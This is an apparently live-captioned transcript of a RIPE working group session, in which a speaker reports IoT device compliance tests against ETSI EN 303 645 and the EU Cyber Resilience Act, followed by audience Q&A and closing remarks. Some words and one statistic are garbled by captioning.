An example of requirement that we have in ETSI 303 645 and probably start of the standard for the CRA for vertical internet of things is local connectivity. The requirements say that the device should work even if it's not connected to the internet.
It looks like a very simple requirement, right? But we discover that most of the devices that we have in the lab including Google nest, Arlo doorbell, etc, 53% of the devices that we have in the lab, they do not communicate with the related app if they are disconnected through the internet. So they don't have immediate communication with the hub, with the smart phone in that case, every time they go to the cloud and then it's the cloud that's taking care of the communication.
So again, this is against the ETSI standard, against the draft of the vertical standard which come up for the EU Cyber Resilience Act so it's a big problem. The same is with TLS intercept, we have an assessment methodology I wish will be public in the standard, to understand if we can intercept the communication between the device and the hub and the phone.
So everything is running in the router, right.
We discovered that we have to have out of 5 is dieses that are vulnerable to this kind of attack, so actually it's possible if you are in the local network to decrypt autopsy the communication, do man in the middle basically for these devices and this is just a small sample, imagine what will happen with billions of devices that will need be to to be certified and sold in Europe in the future and follow the EU Cyber Resilience Act. If we consider other tests that we did, requirements that are included in the current consumer internet of things standard, at least, so every device is as at least one non‑compliant with at least one requirement from this standard, this is just a small sample, if you are interested in this research, or you have devices, if you have devices you wish to test, we'll be happy to take it and bring it and bring to the lab an test it.
But basically we did TLS inter kept, local connectivity test, replay attack, encrypted traffic means the twice is a link, some packets in clear like usually upgrade or other stuff. So all the devices, for example, here are sending or have unencrypted traffic, personal identifiable information, we are not talking about the EU Cyber Resilience Act but other regulations like GDPR if you are familiar with it and DOS recovery and dictionary attacks. As I say, I am part of this working group, if you are interested of shaping the future of the standard, please get in contact with me, you have the email there. So yeah. I need ‑‑ we really need your help. Thank you.
(APPLAUSE.)
PETER STEINHAUSER: Thank you so much, Anna, online we do not have any questions.
JIM REID: We have two questions in the room Peter, the first one is from myself. Interestingly, Anna, you talked about share signed certificates, as you know a lot of vendors are making it very difficult to make use of self‑signed certificates, Apple for example. So I am wondering if there's any visibility of the use of let's encrypt as automating the process of generating and managing certificates and is that starting to percolate through into the IoT vendors, are they starting to think about that?
ANNA MARIA MANDALORI: When I talk about certificate or certification, I don't talk about the certificate as the security certificate, I am talking about the self‑assessment certification of like a piece of paper.
JIM REID: Ah, ignore that. Go back to sleep, Jim, yeah.
SPEAKER: Thanks, Eric from the Fritz box. Interesting question related to the EU Cyber Resilience Act, there's a lot of products which will be under the category of important products and for that we need notified bodies, imagine the scale of what we are talking about, the amount of routers we are see, just the routers and I think we have a problem because in 2027, all those types need externally by a notified body certified and I am really serious, is this observed, are we reacting on this or still wait until we have the standards? Because I think the time lines are not, from my point of view, not realistic.
ANNA MARIA MANDALORI: I also agree with you. For example from the 19th draft of the standards that we are trying to develop, half of them are like in the range of 50% completion and luckily ‑‑ yeah, I don't know if actually with all of them will be published by the end of the month but what I can say is that at the moment in each of the sessions that we have particularly for the IoT, I am talking for the IoT verticals, we don't have the participation of many manufacturers and this is a problem about this stage, you cannot complain about something you didn't participate in, come along and say basically what you want to say. Because this is the time. Before it's too late.
SPEAKER: Thank you
ULRICH WISSER: From ICANN. Well, I was thinking this already when Andrew was talking. There is actually a process where you asked people to come to you and participate and it's called the multi‑stakeholder process. And one that ETSI is not doing. What can I say? You can think about the success of the IETF and other organisations and the multi‑ stakeholder process, whatever you want, but it is the most open one that we could have because it's all problems, but it assures that everybody actually can participate independently of how large your budget is.
ANNA MARIA MANDALORI: I definitely agree, and in fact I pointed this out with ETSI. We have some meetings so there are some meetings between Sen Sen that are open to any ‑‑ even if you are not a member of both, I will circulate it to the mailing list but regarding also the point that I forgot to mention of the IETF, I am also part of the IETF particularly the IoT working group etc. I think that there are a lot of overlap between what ETSI is trying to develop and of the IETF standards that are public there and work that I'm trying to do is trying to map what we have at the IETF with what can be done with the ETSI standard, if you have also ideas of how to do this mapping, it will be great because for what I understood, I am not very familiar with the IETF work. So having like this job done and it's like before the standard is finished, it will be great.
Thank you.
PETER STEINHAUSER: Thank you so much, Anna.
Excellent time keeping, I have to say.
So I think we are at the end of our session for today. So here are the closing session slides. So very, very quickly, so my term as a working group co‑chair ends by the next meeting of RIPE 92, as usual the Chair selection process will start ahid of the next meeting. And we'll do the announcements via the mailing list.
As usual.
And with that all that's left to me is again saying big, big thanks to my co‑chair, Anna, for leading through the presentations of this session and being there in person. So I hope to see you all at the next RIPE and wish you all a really, really great ongoing RIPE session. And meeting. Thank you so much.
(APPLAUSE.)